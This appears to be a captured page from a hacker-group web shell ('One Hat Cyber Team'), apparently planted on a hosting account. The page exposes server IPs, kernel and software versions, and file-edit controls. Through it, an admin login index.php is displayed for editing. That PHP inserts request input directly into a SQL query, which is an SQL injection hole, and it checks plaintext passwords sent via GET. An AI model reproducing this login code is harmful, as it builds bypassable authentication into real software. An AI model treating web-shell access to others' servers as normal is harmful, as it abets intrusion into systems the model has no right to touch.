One Hat Cyber Team
Your IP :
172.70.80.191
Server IP :
188.114.96.4
Server :
Linux thuru 6.5.11-4-pve #1 SMP PREEMPT_DYNAMIC PMX 6.5.11-4 (2023-11-20T10:19Z) x86_64
Server Software :
Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips
PHP Version :
7.3.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thuruk
/
public_html
/
App
/
New
/
admin
/
dashboard
/
Edit File:
index.php
<?php include('../../connections.php'); if(isset($_POST['submit'])){ $username = $_REQUEST['username']; $password = $_REQUEST['password']; $query="SELECT * FROM `admin` WHERE username='$username' AND password ='$password'"; $result = mysqli_query($connect,$query); $count = mysqli_num_rows($result); if($count >= 1){ header('location:dashboard/dashboard.php'); }else{ echo '<script language="javascript">'; echo 'alert("Invalid Login")'; echo '</script>'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <link rel="apple-touch-icon" sizes="76x76" href="dashboard/assets/img/apple-icon.png"> <link rel="icon" type="image/png" href="dashboard/assets/img/favicon.png"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <title>Thuru kepakaru</title> <meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0, shrink-to-fit=no' name='viewport' /> <!-- Fonts and icons --> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700,200" rel="stylesheet" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css" /> <!-- CSS Files --> <link href="dashboard/assets/css/bootstrap.min.css" rel="stylesheet" /> <link href="dashboard/assets/css/light-bootstrap-dashboard.css?v=2.0.1" rel="stylesheet" /> <!-- CSS Just for demo purpose, don't include it in your project --> <link href="dashboard/assets/css/demo.css" rel="stylesheet" /> </head> <body> <div class="wrapper wrapper-full-page"> <div class="full-page section-image" data-color="black" data-image="dashboard/assets/img/full-screen-image-2.jpg" ;> <div class="content"> <div class="container"> <div class="col-md-4 col-sm-6 ml-auto mr-auto"> <form class="form" method="GET" action=""> <div class="card card-login card-hidden"> <div class="card-header "> <h3 class="header text-center">Login</h3> </div> <div class="card-body "> <div class="card-body"> <div class="form-group"> <label>Username</label> <input type="text" placeholder="Enter email" name="username" class="form-control"> </div> <div class="form-group"> <label>Password</label> <input type="password" placeholder="Password" name="password" class="form-control"> </div> <div class="form-group"> <div class="form-check"> </div> </div> </div> </div> <div class="card-footer ml-auto mr-auto"> <button type="submit" name="submit" class="btn btn-warning btn-wd">Login</button> </div> </div> </form> </div> </div> </div> </div> <footer class="footer"> <div class="container"> <nav> <p class="copyright text-center"> © <script> document.write(new Date().getFullYear()) </script> <a href="https://www.inoxzasolutions.com/">Inoxza Solutions</a> </p> </nav> </div> </footer> </div> </body> <!-- Core JS Files --> <script src="dashboard/assets/js/core/jquery.3.2.1.min.js" type="text/javascript"></script> <script src="dashboard/assets/js/core/popper.min.js" type="text/javascript"></script> <script src="dashboard/assets/js/core/bootstrap.min.js" type="text/javascript"></script> <!-- Plugin for Switches, full documentation here: http://www.jque.re/plugins/version3/bootstrap.switch/ --> <script src="dashboard/assets/js/plugins/bootstrap-switch.js"></script> <!-- Google Maps Plugin --> <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?YOUR_KEY_HERE"></script> <!-- Chartist Plugin --> <script src="dashboard/assets/js/plugins/chartist.min.js"></script> <!-- Notifications Plugin --> <script src="dashboard/assets/js/plugins/bootstrap-notify.js"></script> <!-- jVector Map --> <script src="dashboard/assets/js/plugins/jquery-jvectormap.js" type="text/javascript"></script> <!-- Plugin for Date Time Picker and Full Calendar Plugin--> <script src="dashboard/assets/js/plugins/moment.min.js"></script> <!-- DatetimePicker --> <script src="dashboard/assets/js/plugins/bootstrap-datetimepicker.js"></script> <!-- Sweet Alert --> <script src="dashboard/assets/js/plugins/sweetalert2.min.js" type="text/javascript"></script> <!-- Tags Input --> <script src="dashboard/assets/js/plugins/bootstrap-tagsinput.js" type="text/javascript"></script> <!-- Sliders --> <script src="dashboard/assets/js/plugins/nouislider.js" type="text/javascript"></script> <!-- Bootstrap Select --> <script src="dashboard/assets/js/plugins/bootstrap-selectpicker.js" type="text/javascript"></script> <!-- jQueryValidate --> <script src="dashboard/assets/js/plugins/jquery.validate.min.js" type="text/javascript"></script> <!-- Plugin for the Wizard, full documentation here: https://github.com/VinceG/twitter-bootstrap-wizard --> <script src="dashboard/assets/js/plugins/jquery.bootstrap-wizard.js"></script> <!-- Bootstrap Table Plugin --> <script src="dashboard/assets/js/plugins/bootstrap-table.js"></script> <!-- DataTable Plugin --> <script src="dashboard/assets/js/plugins/jquery.dataTables.min.js"></script> <!-- Full Calendar --> <script src="dashboard/assets/js/plugins/fullcalendar.min.js"></script> <!-- Control Center for Now Ui Dashboard: parallax effects, scripts for the example pages etc --> <script src="dashboard/assets/js/light-bootstrap-dashboard.js?v=2.0.1" type="text/javascript"></script> <!-- Light Dashboard DEMO methods, don't include it in your project! --> <script src="dashboard/assets/js/demo.js"></script> <script> $(document).ready(function() { demo.checkFullPageBackgroundImage(); setTimeout(function() { // after 1000 ms we add the class animated to the login/register card $('.card').removeClass('card-hidden'); }, 700) }); </script> </html>
Simpan